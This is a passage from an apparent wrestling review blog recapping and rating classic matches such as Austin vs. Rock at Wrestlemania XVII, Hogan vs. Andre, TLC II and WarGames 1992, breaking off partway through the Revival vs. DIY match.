Gigante is the worthless yet huge man who would become Giant Gonzalez and Diamond Studd is Scott Hall. There really is some awesome talent in this one, which makes me wonder WHY THEY’RE STUCK IN THIS STUPID MATCH. As usual, WCW’s entrances are awesome as they walk through the door of a haunted house and through a graveyard (with funny headstones).

The brawl starts on the ramp with Sting vs. Cactus (the best matchup available in this one) with Rick knocking Abdullah down as well. Scott gives Studd a tiger driver as Rick has a freaking CHAINSAW. Everyone winds up inside and it’s going to be a bunch of wild brawling for a long time. The other gimmick of this match is a camera on the referee’s head, which is a nice idea but it doesn’t really add anything. I get why they put it on him though as this is a mess and there isn’t room for a traditional camera.

Rick and the Studd climb the opposite sides of the cage for no apparent reason. An elevated super DDT plants Jack as the electric chair (the CHAIR OF TORTURE) comes down with Cactus nearly getting crushed (because he Cactus). Vader almost immediately goes to put Rick in the cage but a Steiner Line gets Rick out of trouble. Naturally, Rick plays with the chair for a bit.

Cue the Ghouls (people in white face paint dressed like medics) with a stretcher for no adequately explored reason. Scott breaks a kendo stick over Jack’s head before Cactus and Sting climb the cage again. Back down and Sting has to fight out of the chair as the mindless brawling continues. We cut back to the Ghouls, who are just sitting on the ramp as Rick jabs at the empty chair with a broken kendo stick.

During the melee, Cactus has to climb up and put the switch back in place as it fell down due to the cage shaking. Again, because WCW. Everyone is pretty clearly getting tired and now a referee has to go fix the switch again. Rick nearly punches him until he realizes what’s going on. Abdullah puts Rick in the chair but gets belly to bellied into the chair as Jack hangs on the cage next to the switch for absolutely no apparent reason. He FINALLY throws the switch with Abdullah in the chair, sending off a bunch of fireworks to end the match at 12:41.

Rating: D. Ok so this one is much more about nostalgia than quality as the match is horrible. There’s no flow or story to the thing and it’s just a bunch of mindless brawling until the ending. The switch falling down over and over was rather funny, because of course you can’t set it so the switch has to be thrown up for the win. Terrible match but a lot of fun memories and “because WCW” moments to this one.

Jack checks on Abdullah and gets beaten up for his efforts. Abdullah beats up the Ghouls to let off some steam.

Let’s try something a little better.

From Wrestlemania XVII.

I’m not going to waste your time on an introduction. It’s Austin vs. Rock II.

WWF World Title: Steve Austin vs. The Rock
Date: April 1, 2001
Location: AstroDome, Houston, Texas
Attendance: 67,925
Commentators: Jim Ross, Paul Heyman

Rock is defending in case you’re really slow. Now of course I have to watch the My Way video. WWE produces some of the best videos in wrestling and this is the be all and end all of their glorious achievements. Set to Limp Bizkit’s My Way, it tells the story of Austin winning the Royal Rumble to move him closer to the title on his comeback from neck surgery.

Rock is the reigning champion and became a huge (well, huger) star during Austin’s absence. They locked eyes during the Rumble and that was Wrestlemania. Austin sums it up perfectly: “The fact is Rock, you got the WWF Title and I want it.” Simple, effective, and it tells you the entire story in one line.

As JR puts it: “60,000 in the AstroDome to see the Rock and Stone Cold Steve Austin!” As Dave Meltzer put it (I think he did at least): “It the place held 100,000, they would have sold that out too.” Make no mistake about it: this is one of the biggest matches of all time and save for something like Hogan vs. Andre, very few matches have ever felt more important or grand for lack of a better world.

The entrances alone deserve a long discussion. First of all, there’s this. Fink: “In this contest, there will be NO DISQUALIFICATIONS!” JR: “WHAT???” Cue glass shatter. Austin’s entrance is one of the all time greats with JR perfectly summing it up: the Texas fans revere Austin and see him as a folk hero. In other words, no matter what Austin does, he’s going to be cheered all night long.

Austin’s entrance is a sight to behold as the fans just lose their minds for him, which says a lot in a building this large. There’s an awesome shot where the camera is close up on Austin in the aisle but zooms out to show the size of the stadium and the sheer amount of people in the building. Rock gets a VERY mixed reaction, which you’ll probably never hear for him in the rest of his career. Also of note, they show a shot of Rock and then cut to Austin….who is having a major problem adjusting his knee brace. That’s cut away from in a hurry and it’s time for the staredown of the ages.

Thankfully they don’t bother with Big Match Intros (they’re just not needed here) and the fight is on in a hurry with Austin slugging away but missing a belt shot. The Thesz press takes Rock down and the middle finger elbow connects. Rock mostly botches a swinging neckbreaker (fair enough given the nerves) and can’t hit a Rock Bottom or a Stunner. Austin throws him over the top to the floor and that’s the first minute of the match. A quick fight into the crowd goes to Rock but Austin has to keep adjusting the knee brace.

Back in and Austin stomps him down before a superplex gets two. Rock makes a comeback with right hands and a belly to belly, nearly getting booed all the way out of Houston. A clothesline puts Austin on the floor but he gets in a bell shot to take over. I love the big main events where that’s just a move as opposed to a game changer in other matches. Back in and Rock avoids a ram into an exposed turnbuckle, only to get caught in a neckbreaker for a pop and a half.

Austin slowly stomps and knees away at the bloody Rock (not exactly flowing) but goes to yell at the referee, allowing Rock to BLAST him with a clothesline. It’s Austin going into the exposed buckle and Rock hits a bell shot of his own (with the base instead of the bell itself), drawing some blood from Austin’s head. Some right hands have Austin sprawling around the ring, followed by Rock driving an elbow (not a great one either, pun intended) into the chest. Austin is right back with a catapult into the post with Rock turning his body so his head hits it square and hard. Great visual there.

Austin monitors him in the head and, after stealing a very covert shot of water from one of the announcers’ bottles, gets two back inside. Rock comes back with his eternally not great Sharpshooter in a callback to Wrestlemania XIII (scroll up a few pages), eventually sending Austin over to the ropes. Now the blood is really flowing for both guys as Austin grabs his own not great Sharpshooter (closer to a Scorpion Deathlock actually, and yes there are differences, including how the legs are crossed and how you grab the legs).

FINALLY the Rock comes back to the ropes but Austin is smart enough to know he doesn’t have to let go. Then of course he lets go. It’s off to a Million Dollar Dream of all things with Rock having to climb the ropes and flip back ala Bret Hart for two (and the second Bret spot that Rock can’t do as well). Rock grabs a Stunner out of nowhere for a delayed two and NOW the fans are getting into the near falls.

With both guys down, here’s Vince McMahon for reasons that can only be bad. They trade spinebusters with Rock following up with the People’s Elbow. That’s good for two as Vince pulls the referee out. The chase is on and brings Rock straight into a Rock Bottom from Austin for two more. The ref gets bumped and Austin goes low, before telling Vince to give him a chair. Vince chairs Rock in the head for two in a heck of a false finish.

Austin grabs the chair but walks into a Rock Bottom. This time it’s Vince distracting the referee so Rock hammers away, only to catch a Stunner to give Austin an even closer two. One heck of a chair to the head gives Austin two and that’s one kickout too many. A ridiculous SIXTEEN CHAIR SHOTS to Rock knocks him cold and gives Austin the title at 28:07.

Rating: A+. Oh come on do I need to explain this one? It’s Austin vs. Rock for the title in the best Wrestlemania main event ever. The energy is unlike any match ever, the chemistry is probably the best ever, the action is intense and bloody and the right guy won. I still don’t hate the ending (it was stupid to do in TEXAS) but it was certainly a twist. I don’t think this one really needs much of an explanation and if you haven’t seen it before (somehow) go do so immediately.

Austin and Vince share beer and shake hands, officially ending the Attitude Era and the biggest feud in wrestling history. JR is shocked and Austin hits another belt shot on Rock for good measure. As you might expect, the face continue to go coconuts for this and that’s really all you could expect from them.

This is another great example of a major point that people need to remember: Austin was good. Like, really good. I know his talking and energy are what made him famous but the guy could have some of the best matches you’ll ever see. This was a masterpiece (one of his many) and it always amazes me how good he really was when I watch these matches back. Austin is revered for a lot of reasons but it’s a shame that people don’t get just how great his stuff between the bells really was.

Oh and one more thing. Remember back when Vince vs. Austin started? Vince said Austin had two choices: either the way Vince wanted to do this or the hard way. So, after three years of all out war, Vince can say to Austin that he sees things…“my way.” If that was foreshadowing, I’m buying a hat so I can take it off to this show.

If that’s the best Wrestlemania main event ever, this is the biggest.

From Wrestlemania III.

Again, this shouldn’t need an introduction or a recap but just in case. Hogan won the title in 1984 and was congratulated by Andre the Giant. They became best friends (as is often the case with Hogan) but Bobby Heenan got in Andre’s head and turned him evil. Andre ripped Hogan’s shirt and crucifix off while issuing a challenge for Wrestlemania III. Hogan said (or shouted rather) yes and the biggest match ever was on.

WWF World Title: Andre the Giant vs. Hulk Hogan
Date: March 29, 1987
Location: Pontiac Silverdome, Pontiac, Michigan
Attendance: 93,173
Commentators: Gorilla Monsoon, Jesse Ventura

Hogan is def…..I’m not even finishing that as I’d consider it an insult to your intelligence. Again the entrances are awesome with Andre coming to the ring via the cart. Bobby Heenan is with him in a white tuxedo, which makes me think of Jose Sebastian Varga entering Los Angeles (If ANYONE can tell me what that reference is without looking it up, I’ll send you a free wrestling comic book. You deserve it if you have such good taste. First person to get it only of course.). The villains are pelted with trash in a visual you don’t often see.

Hogan’s entrance is nothing short of iconic as he walks to the ring instead of riding down, giving us the awesome wide shot with the spotlight on the champ the whole way down. Jesse gives us the tale of the tape and I continue to smile at the fact that my calves are equal to Hogan’s.

I could recite the commentary for the entrances (and the match for that matter) almost from memory as this match is just that huge and historic. Jesse: “This is the biggest match in the history of professional wrestling.” That would indeed be correct. I love the visual of the dark stadium and the occasional flash of light that shows you how many people are there. The atmosphere gives this match so much more (most of its strength actually). They stare each other down in the most famous visual in wrestling history, as well as the shot that I think sums up professional wrestling in one image.

Hogan slugs away but tries a slam WAY too early, causing Andre to fall on him for the near fall that caused the rematch next February. Andre slowly works over the back and it always amazes me how huge that man really is. More trash is thrown at Andre (with referee Joey Marella picking one piece out of the air in something I’ve never noticed before) and he steps over Hogan’s back. Andre crushes him in the corner and follows Heenan’s orders to headbutt him.

Another headbutt hits the buckle (to be fair Heenan didn’t tell him to do that one) and Hogan gets in some right hands. Andre gets sent into the buckle ten times but he’s still able to get up a big boot to cut off a charge. We hit the bearhug (you knew that was coming) but after two plus minutes, Hogan’s arm only goes down twice. Hogan slugs him off but charges into a chop, followed by a boot to the ribs to knock him outside.

Another headbutt hits the post (again, not Heenan’s instruction) so Hogan tries a piledriver on the exposed concrete (which appears to be exposed wood actually). Since it’s A, on the floor and B, ANDRE THE GIANT, he backdrops out of it without much effort. Back in and a running clothesline puts Andre down, sending the fans right back through the roof. It’s Hulk Up time and the most famous bodyslam of all time sets up the big leg to retain the title at 12:09.

Rating: D+. As I always say here, if you think the point is to have a great technical match, you don’t get wrestling. This is ALL about the presentation and the atmosphere and Hogan soundly defeating the only name close to his level. Andre was the big star ten years ago and how Hogan has defeated him once and for all. This would be like Cena defeating Undertaker now: it doesn’t really change anything, but it’s the moment that counts. It just happened to be in the biggest match of all time.

Of course it’s not great from a wrestling perspective, but why in the world would you want that? This was a stadium match (everything is designed to be an easily identified move with big spots that are easy to see) and that’s the only style they should have worked. It’s all about the big moments here and they nailed those harder than anything else ever did.

Actually let’s jump back to the previous show.

From Wrestlemania XVII.

If Austin vs. Rock II was everything it was expected to be, this one is everything people expected it to be and more. For about a year and a half, Edge and Christian, the Hardy Boyz and the Dudley Boyz feuded in one big gimmick match after another. At Summerslam 2000 they had an amazing match called Tables Ladder and Chairs which blew the doors off. Therefore, let’s have a sequel, naturally called TLC II. The specifics around this match don’t matter and aren’t really brought up. You just know these three teams are feuding and this is the only way they can blow it off (for now).

Tag Team Titles: Hardy Boyz vs. Edge and Christian vs. Dudley Boyz
Date: April 1, 2001
Location: AstroDome, Houston, Texas
Attendance: 67,925
Commentators: Jim Ross, Paul Heyman

The Dudleys are defending and it’s TLC. Both Canadians get beaten up by a tag team and there’s a great looking double flapjack to Christian. Edge and Christian head outside, leaving the Dudleys to take Poetry in Motion. It’s already time for the first ladder along with a chair with Jeff charging right into a double drop toehold into said chair. JR says Dudleyville is right outside of Parts Unknown and Matt is clotheslined off the ladder.

Edge gets dropped as well with a Poetry in Motion dropkick. Christian is put down and it’s a Hardy coming off a ladder each for a legdrop/splash combination. The Dudleys hit What’s Up on Edge and it’s table time. Well you knew that wouldn’t take long. Bubba and D-Von bring in one each (it’s nice to see Bubba do it himself for a change) with Edge being placed on one. Jeff’s hurricanrana is countered into a powerbomb through Edge through the table as the carnage is starting to mount up.

Four tables are stacked up on the floor (oh that’s going to be a big deal later) as Heyman explains the Dudley Construction Company in Dudleyville. And who says kayfabe is dead? Two ladders are set up in the ring with Bubba grabbing a third and SMASHING it onto Matt’s head. All six go up at once and it’s Jeff, Matt and D-Von all falling onto the ropes. Christian goes all the way over the top and down to the floor in a heap. Bubba and Edge (via some weak slaps) go down too, leaving all six on the mat/floor.

Cue Bubba and D-Von’s half brother Spike as the match goes into fresh territory from its predecessors. Spike takes Edge off the ladder and hits a Dudley Dawg (Sliced Bread #2) on Christian, taking him off the apron and through a table on the floor. Edge and Christian’s friend Rhyno comes out (Can you believe that he and the Hardys are STILL on the WWE roster sixteen years later?) to clean house with whatever power move he can think of at the moment.

Now it’s Lita to make this a nine person affair, starting by pulling Edge off the ladder (Which JR describes as Lita “jerking Edge off”. Oh come on at least wait until Matt isn’t in the same room.). Spike saves Lita with a low blow to Rhyno and then chairs Rhyno into the ladder, taking Edge down again. A Doomsday Device keeps Rhyno in trouble (they’re giving him a heck of a rub here with this much being needed to keep him down) and Lita cracks Spike in the head with a chair. Lita takes her top off but walks into 3D.

Edge and Christian come back in to drop the Dudleys with chairs and Edge wants the BIG ladder. Said top, with Lita’s top hanging off the bottom, is set up in front of some tables on the floor and yeah this is going to be bad. Jeff climbs the big ladder for a mega Swanton onto Spike and Rhyno (meaning he mostly misses Rhyno and almost completely hits Spike, who takes the thing almost in full).

The big ladder is set in the ring alongside the three regular ladders and it’s D-Von and Christian going for a climb. Matt moves the ladder from underneath them (Matt: “HERE WE GO!”) and D-Von falls down. Jeff can’t quite walk the ladders like a tightrope. Instead he climbs a regular ladder…..as Edge climbs the big one.

Jeff loses his balance and, in the spot that people remember the match for and the spot that made Edge a star, it’s a HUGE SPEAR FROM THE BIG LADDER to take Jeff out of the air. My favorite line about that whole thing was when someone asked Edge if he was scared of that in rehearsal. Edge: “YOU THINK I DID THAT MORE THAN ONCE???” Matt and Bubba go up the big ladder but Rhyno shoves them through the four tables at ringside. Back in and D-Von goes up, only to have Rhyno give Christian a boost to the titles for the win at 15:48.

Rating: A+. What a performance. You see a lot of ladder/TLC matches these days but this is the one that holds up better than any of them. Now why is that the case? For me, it’s a combination of the history between the teams and how well the teams work together. They also don’t stop with the spots here. There’s no wrestling in the middle and that’s how it should be. They started off a bit slow but once it picks up, this is one huge spot after another, which is what a stunt show like this should be. Outstanding stuff here, as you probably know.

Also this is the end of the three way feud, which had dominated the division for a year. To put this in perspective, from February 27, 2000 thru April 17, 2001 (415 days), these three held the titles for 353 days. It was time for some fresh blood but sweet goodness what a way to wrap things up.

Now for some carnage and intricate booking in a completely different format.

From In Your House XXII: Over the Edge.

So it’s 1998 and Steve Austin is WWF World Champion. The feud with Vince McMahon is off to a blazing start as Vince has his first challenger to the title. In this case it’s Dude Love, but those aren’t the highest odds yet. Instead McMahon has installed Pat Patterson as guest ring announcer, Gerald Brisco as guest timekeeper and himself as guest referee. Vince insists that only his fall can count the pin, which sounded like a loophole. Undertaker is watching though, meaning all hope isn’t lost. Of note: when I was setting this list up, this was the first match my wife thought would make it as I rave about it that much.

WWF World Title: Steve Austin vs. Dude Love
Date: May 31, 1998
Location: Wisconsin Civic Arena, Milwaukee, Wisconsin
Attendance: 9,822
Commentators: Jim Ross, Jerry Lawler

Austin is defend and if he attacks Vince, he loses the title. Fink reads some special introductions, including saying Patterson made a career on pride, dignity, honor and integrity. He was the first Intercontinental Title in a grueling tournament in Rio de Janeiro (JR: “WINK WINK!”) and can only be compared to other Canadian greats such as Wayne Gretzky. Oh and he’s a role model to children.

Patterson comes in to take over the job, meaning an over the top introduction for Gerald Brisco. Pat: “Someone people call him the next Jim Thorpe. We’re lucky enough to call him a friend.” We hear the FULL contact information for the Brisco Brothers Body Shop and now it’s time for the main event. It’s on to Vince’s introduction so we hear about how he’s an American icon who has given us hope and the will to say YES I CAN. Wait that’s it? No song? No statue? I’m disappointed people.

Vince has no entrance music yet (give him about eight months) and Lawler gives him a standing ovation. As for Dude, he’s the cat that makes the kittens purr. The fans just start going nuts as soon as it’s time for Austin, but Pat has some announcements for him too. Austin is a beer swilling fool, a foul mouthed punk, a disgrace to every human being today….and Patterson isn’t introducing a bum like that. The fans lose it for Austin’s entrance again but we’re STILL not ready to go. Instead here’s the Undertaker to keep an eye on things, meaning the awesome entrances continue.

We finally get the bell with Austin driving Dude into the corner, earning a clean break from Vince. That’s good for the first middle finger of the match and Austin only gets madder when Vince counts a VERY fast two off a rollup. We hit a headlock of all things to keep Dude down as the fans call Vince gay. Love loses his teeth and Austin stomps on them (actually a spot stolen from Ronnie Garvin and Ox Baker), followed by the Thesz press. They head outside with Austin going into the steps so Vince can add some trash talking.

Back in and Dude starts switching into Cactus mode, stomping and biting in the corner. A running knee in the corner gets two on the champ but he fires off some clotheslines to get a breather. The Mandible Claw cuts Austin off so he throws Dude into the ropes, getting Dude’s head tied in the ropes. Vince makes the save and it’s time for the announcers’ table….as Patterson reminds us that this match is No DQ. JR is LIVID (as only he can be) and Austin sends Dude into the timekeeper’s area, crushing Brisco in the process.

One heck of a clothesline knocks Dude over the barricade and onto the concrete, popping the crowd all over again. Back in and Austin misses the running crotch attack on the ropes but BRISCO IS UP AND HAS HIS HAMMER READY! We can breathe easily now. They head back outside with Dude hitting a neckbreaker on the floor….and Pat tells us falls count anywhere. JR: “SINCE WHEN??? SINCE WHEN??? THAT’S NOT RIGHT!!!” I love the indignant JR.

They fight up to the entrance (which has a bunch of cars for some reason) with Austin being backdropped onto the hood for two. A hot shot sends Dude into a Gremlin for two but Dude shoves him off the roof for a big crash. Since Dude is freaking nuts, it’s a sunset flip off the hood onto the concrete for two more. They fight near the trunk of a Mercury and Austin is busted open. A suplex on the floor has Vince cheering Dude on but the elbow (off the Mercury of course) only hits concrete. That’s just such a sick crash.

Back to the ring and Vince trips Austin so Dude, who can somehow still walk, can hammer away. Austin goes head first into an exposed buckle a few times but for some reason Dude doesn’t cover. Maybe is has something to do with DIVING OFF A CAR ONTO CONCRETE a few minutes ago. A comeback is cut off by another ram into the buckle but you can hear the crowd still with Austin.

Patterson hands Dude a chair for a double arm DDT (good one too) for another near fall that should have been hotter than it was. Austin gets back up with a chair shot to the head but Vince won’t count. Dude is back up and chairs Vince by mistake, earning himself a Stunner. A second ref comes out but Patterson takes him out. The Mandible Claw goes on Austin so Patterson counts two, earning himself one heck of a chokeslam through the announcers’ table (ROAR).

Brisco goes through the second one (JR: “WHO’S YOUR DADDY???”) and Austin hits a Stunner on Dude. Vince is out though so Austin grabs his hand and slaps the mat for the pin to retain at 22:27. JR goes nuts and Austin is all kinds of fired up because he knows they just tore the house down.

Rating: A. See, this is what Vince Russo’s ideas could pull off if you get the other parts right. The problem though is very simple: Austin vs. Foley for twenty two minutes is going to be awesome every time because they can make any kind of match work. You can’t say the opposite though, as Russo’s ideas have proven that they can’t stand on their own time after time. Giving this match the extended time and having that kind of talent in there made the ideas work VERY well though, especially with two of the best brawlers ever involved.

All that aside, this is one heck of a physical brawl with all the pieces fitting together perfectly. The look on Austin’s face after he retains tells you the whole thing as the fans just exploded for the win. They bought into anything Austin was doing at this point and having a classic match is a great way to go. This is one of my favorite matches ever and Austin’s energy is a great reason why. Just watch his eyes and you’ll see what everyone else saw in him. There’s a fire there that you just can’t make up and Austin had it more than anyone ever.

We’re going to completely switch gears now and go to my favorite of all gimmick shows.

From Survivor Series 1989.

I’ve always loved Survivor Series and I had to have a match on here. I’m also a child of the 80s (ok the very late 80s) and that means I had an awesome generation of wrestlers to watch. That’s what we have here, with easily the most awesome Survivor Series team in the history of ever. I’ll let you guess which is which.

Hulkamaniacs vs. Million Dollar Team
Date: November 23, 1989
Location: Rosemont Horizon, Rosemont, Illinois
Attendance: 15,294
Commentators: Jesse Ventura, Gorilla Monsoon

Hulkamaniacs: Hulk Hogan, Jake Roberts, Demolition

Million Dollar Team: Ted DiBiase, Zeus, Powers of Pain

I think you can guess who is feuding with whom here. The villains won’t let Hogan and company in so they’re stuck standing on the floor while Real American plays. Jesse: “COUNT ALL FOUR OF THEM ALL OUT!” The solution to this problem? THROW A TWENTY FOOT SNAKE INTO THE RING! Just….yeah this match wins. I don’t care how horrible it is after that. Jake throwing the snake in to clean house is all I need from this match.

Zeus wants Hogan to start so Hulk spits at him. Gorilla: “What’s the Z on the side of his head for? Is that in case he gets lost?” I know Monsoon would ask a bunch of weird questions but….really? Jake actually starts for the team but Zeus demands and receives Hogan. Trash is talked and Hogan tries a shoulder, only to fall down as a result. A bunch of shots to the head have no effect so Hogan rakes the eyes for a slam. Zeus pops right back up and twists Hogan’s neck before choking away for a DQ. He wasn’t a wrestler so there’s only so much you can do to get rid of him.

DiBiase drops in some knees on the downed Hogan but that just means a few right hands from the champ. It’s off to Jake (feuding with DiBiase at this point) to hammer away, followed by Ax chopping DiBiase down in that classic Demolition style. Smash and Hogan get in their shots as well as DiBiase is taking one heck of a beating. An elbow to the jaw finally gives Ted a breather and it’s off to Warlord.

Ax elbows him in the jaw and scores with a clothesline but Mr. Fuji trips him up. Warlord drops an elbow for the elimination, which really shouldn’t be enough to pin Ax. The three remaining Hulkamaniacs come in and work over Warlord as this is just kicking and punching so far. Barbarian kicks (See what I mean?) Smash in the face and it’s back to DiBiase for the falling punches. Smash starts a comeback with a hot shot but Barbarian makes a blind tag, setting up a top rope clothesline to put Smash away.

Jake comes in but can’t get the DDT. Instead the rotating beatings continue with DiBiase hitting a piledriver (Jesse: “IT’S OVER! IT’S GOTTA BE!”) but Jake gets his foot on the ropes. A middle rope elbow misses though and the hot tag brings in Hogan to clean house in a hurry. He even uses a suplex for two on Barbarian. The Powers get together for a spike piledriver and that’s a double DQ, meaning three members of DiBiase’s team has been disqualified. You can imagine Jesse’s livid reaction and it’s glorious.

Ted slaps on the Million Dollar Dream until Jake makes the save. Jesse: “NOW WHY WASN’T HE DISQUALIFIED???” He has a point actually. Hogan punches him out of the air and the hot tag (eh lukewarm at best) brings Jake back in. Cue Virgil for a distraction and he eats a DDT, allowing DiBiase to hit a fist drop for the pin on Roberts.

So it’s Hogan vs. DiBiase in 1989 and I think you know where this is going. Ted shoves Virgil’s cold body outside and we hit the chinlock. Hogan fights up and it’s a double clothesline to put both guys down. A belly to back suplex triggers the Hulk Up and it’s the big boot into the legdrop to give Hogan the pin at 27:33.

Rating: D. What a weirdly booked match. A good chunk of this had the heels at a disadvantage which goes completely against the way a match like this should work. That’s not the best idea when you have the WWF World and Tag Team Champions on a team plus Jake as a bonus. It’s just not a good match, mainly from the booking and the lack of almost anything interesting in the match. The opening is great though and Jesse losing his mind is highly entertaining as always.

Now let’s try the other company’s big team gimmick match.

From WrestleWar 1992.

Oh now you knew I was getting a WarGames match in here and there’s no other option (Well maybe 1991. Or the original. Dang WarGames was awesome.). So this is during the time when Sting ruled the world in WCW and, in the span of a few months, feuded with about ten different people.

Five of them (not counting managers) were part of the Dangerous Alliance, one of the best heel groups of all time. Basically it was Paul E. Dangerously (Heyman) wanting to destroy WCW, which would start with destroying the franchise player. This lead to the team attacking Sting every chance they had so Sting got some friends and we had the stage set for WarGames.

For those of you unfamiliar, WarGames is a fairly complicated idea. You have two rings with a double cage over it (no wall between the two rings) and a door at either end. A member of each team will start the match and fight for five minutes. After that, there will be a coin toss (the heels won every single time until TNA had the faces win because TNA was actually dumber than WCW) with the winning team getting a one man advantage for two minutes. After two minutes, the team that lost the toss will get to even things up for two minutes. The teams alternate every two minutes until all ten are in, then the first submission wins.

Sting’s Squadron vs. Dangerous Alliance
Date: May 17, 1992
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Attendance: 6,000
Commentators: Jesse Ventura, Tony Schiavone

Sting, Ricky Steamboat, Dustin Rhodes, Barry Windham, Nikita Koloff

Rick Rude, Bobby Eaton, Arn Anderson, Larry Zbyszko, Steve Austin

Remember that submissions don’t count until all ten are in the cage. Sweet merciful goodness that’s some insane talent. Seven are in the Hall of Fame at the moment, Rhodes will be, Eaton should be and Koloff would have been if his wife hadn’t gotten sick. Windham and Austin (Barry took the TV Title from Austin recently) start fast with Barry blocking a whip into the cage. Instead Austin backdrops him and drops an elbow as Dangerously is talking strategy with his team.

Barry rakes Austin’s face into the cage as Jesse rants about Barry’s taped up hand. You know, because there should be disqualifications in WAR. Austin comes back with a diving clothesline (so weird to see from him) over both sets of ropes to take Windham into the other ring. Barry pops back up and sends him into the cage a few times before just raking Austin’s face over the cage to draw some blood. Paul: “Oh no! Oh no!”

The coin toss goes to the Dangerous Alliance and it’s Rick Rude coming in for a two minute advantage. Rude is all kinds of fired up and unloads on Barry as Austin is trying to remember what planet he’s on. Another clothesline takes Windham down and a double ram into the cage makes things even worse. Ricky Steamboat evens things up and goes right for Rude as the energy picks up all over again.

Windham can’t get back up though and Steamboat gets double teamed. That’s fine with Ricky, who grabs the top of the cage and kicks Austin away. The four split up again until it’s Arn Anderson coming in to give the Alliance the advantage again. A spinebuster takes Steamboat down and it’s Rude and Anderson putting on a double Boston crab. Barry comes over to make the save so Rude piledrives Steamboat instead.

A double clothesline takes Rude and Steamboat down though and it’s Dustin Rhodes coming in to even things up. House is cleaned with some clotheslines, followed by an electric chair to plant Austin. Windham isn’t about to be outdone and shoves Anderson’s head between the two rings for a great visual. Steamboat has Rude in a Figure Four until it’s finally Larry Zbyszko comes in, only to have Dustin cut him off to keep Rude in the hold.

Alliance manager Madusa goes on top of the cage to slip Dangerously’s phone to Anderson and it’s the Alliance taking over again. They’re about fifteen minutes in at this point and the intensity hasn’t dropped a bit, which is a huge key to the whole thing. It’s like they’re fighting for their lives and that makes for a great atmosphere. Sting comes in to even things up and he starts with a very impressive gorilla press to send Rude’s back into the roof four times in a row.

Anderson’s bloody face is raked over the cage as all eight are in the same ring for some reason. Sting keeps cleaning house until it’s Bobby Eaton in to complete the Alliance. Dustin kicks Austin’s blood covered face but Eaton gets in a few shots from behind for a save. Zbyszko and Rude start loosening the top turnbuckle but Steamboat comes over to hammer on Larry. Everyone fights with everyone and it’s Koloff (whose loyalty to Sting is in serious question due to a long history together) coming in to give us all ten men inside.

Koloff hammers away and even pulls Sting up before shoving him away to take a double clothesline for him. It’s Koloff and Sting with a double clothesline of their own, followed by a hug to pop the crowd again. Rude goes after the turnbuckle again as Jesse brings up a good question: how is the referee supposed to hear a submission in this chaos? Sting slaps the Scorpion on Anderson but Eaton makes the save as the buckle has been broken.

Things start to slow a bit (likely due to massive blood loss) as people start trying submission holds. Sting gets beaten down by Larry and Bobby until Zbyszko picks up the turnbuckle with the metal hook and hits Eaton by mistake. Larry gets knocked down and an armbar makes Eaton submit at 23:27. That loss would end Zbyszko’s time with the team and the Alliance would fall apart in short order, again because WCW is stupid.

Rating: A+. What a battle. Find this match if you want to see a group of people just beat the fire out of each other for over twenty minutes with no one ever stopping. The Alliance was the weaker group of talent but they’re more than enough of a challenge here to the better team. This is one of the most violent, bloody matches you’ll ever see from the top promotions and one of the best team matches as well. It’s also a case where the blood makes for a better match and they certainly let it flow. Check this one out and see what WCW could do when its head was on straight.

And now for something COMPLETELY different.

From Wrestlemania III.

I’ve often called this one of the best opening matches ever and I still say that to this day. No story here as this would be a dark match today.

Can-Am Connection vs. Don Muraco/Bob Orton
Date: March 29, 1987
Location: Pontiac Silverdome, Pontiac, Michigan
Attendance: 93,173
Commentators: Jesse Ventura, Gorilla Monsoon

Muraco and Orton have Mr. Fuji with them. Rick Martel starts with Muraco with Rick actually running him over off a shoulder. A hiptoss and something like a monkey flip gives Martel two. Everything breaks down and Orton takes a double hiptoss, followed by an armbar. Gorilla thinks Orton has excellence of execution, which is a pretty fair assessment. I’m sure Bret Hart won’t quite agree but I’m sure he has some more complaining to do.

Muraco accidentally forearms Orton down for two and it’s time to stay on Orton’s arm. It’s off to Muraco so Orton can get in a knee from the back to give the villains control. A collision puts both guys down and there’s the hot tag to Martel. Everything breaks down with Muraco backdropping Orton, only to get double dropkicked outside. Orton is knocked to the floor as well, leaving Muraco to get crossbodied over Martel’s back, giving Zenk the pin at 5:37.

Rating: B-. Here’s the thing: it’s not a great match or anything special at all really, but it’s a simple, easy to follow and entertaining match. This got the crowd going and that’s all it was supposed to do. There are definitely higher quality opening matches, but this is a nearly perfect fit and I’ve always liked it for just that reason. The Connection was a very fun team and the predecessors to one of my favorites in Strike Force.

Here’s a slightly better and more famous/important tag match.

From Takeover: Toronto.

I’m really not sure what all I can say about this match. NXT knows how to deliver white hot tag matches and they did so again here, as DIY challenges the Revival for the Tag Team Titles in a 2/3 falls match. It’s awesome and that’s all there is to say about it.

NXT Tag Team Titles: Revival vs. DIY
Date: November 19, 2016
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 12,649
Commentators: Tom Phillips, Corey Graves

Revival is defending and it’s Dawson and Gargano to start things off. They go after the legs to start with a few trips for a few near falls and Dawson hides in the corner when he’s told it was a two. Gargano runs the ropes and makes a blind tag, allowing Ciampa to come in and crank on Dawson’s arm, as a wrestler likely should be doing.

Dawson breaks that up by ripping at Ciampa’s face to take over and the champs are in control. Dash is lifted up and dropped into a legdrop for two but a dropkick is enough to bring in Gargano to speed things up a bit. Johnny’s jumping neckbreaker gets two on Wilder but the slingshot spear is countered into the Shatter Machine for the first fall.

We start the second fall with a slingshot suplex getting two on Gargano as the beating continues. They be clubberin and Graves is smart enough to know to call it that. It’s off to a bodyscissors for a bit before Dawson switches it up to the Gory Special. Since that hold can only stay on for so long, Johnny slips out and hits a tornado DDT/enziguri combination to take the champs down.

Wilder offers a distraction though and the referee misses the hot tag (one of my favorite tag team spots). A Hart Attack gets two but Johnny fights out of a belly to back superplex and the hot tag brings in Gargano. Something like a reverse Rough Ryder (think a Fameasser version of the same move) sets up a running boot to Dawson’s face for a rather close near fall. What looks to be a spike piledriver is broken up and it’s Meet in the Middle to put Dawson away and tie things up.

NOW we’re ready to go because that was nothing more than a glorified warmup. We take a quick breather before starting in on the third fall where things can really crank up. Wilder and Ciampa slug it out with the fans giving us a good hearty BOO/YAY chant. Ciampa gets the better of it and it’s off to Dawson, who reverses the flip armbar into a crucifix for two. Gargano comes back in with a slingshot DDT but gets caught in a European uppercut/German suplex combination.

A diving save breaks things up and the fans are WAY into this all over again. Ciampa gets posted so Gargano has to kick Wilder away and grab a small package for a very close two. Wilder throws Dawson belt, which he uses to block a rolling kick to the face in a smart move. Since Dawson is smart, he slaps on an inverted Figure Four and Gargano starts screaming. He finally makes the ropes, drawing a heck of a roar from the crowd.

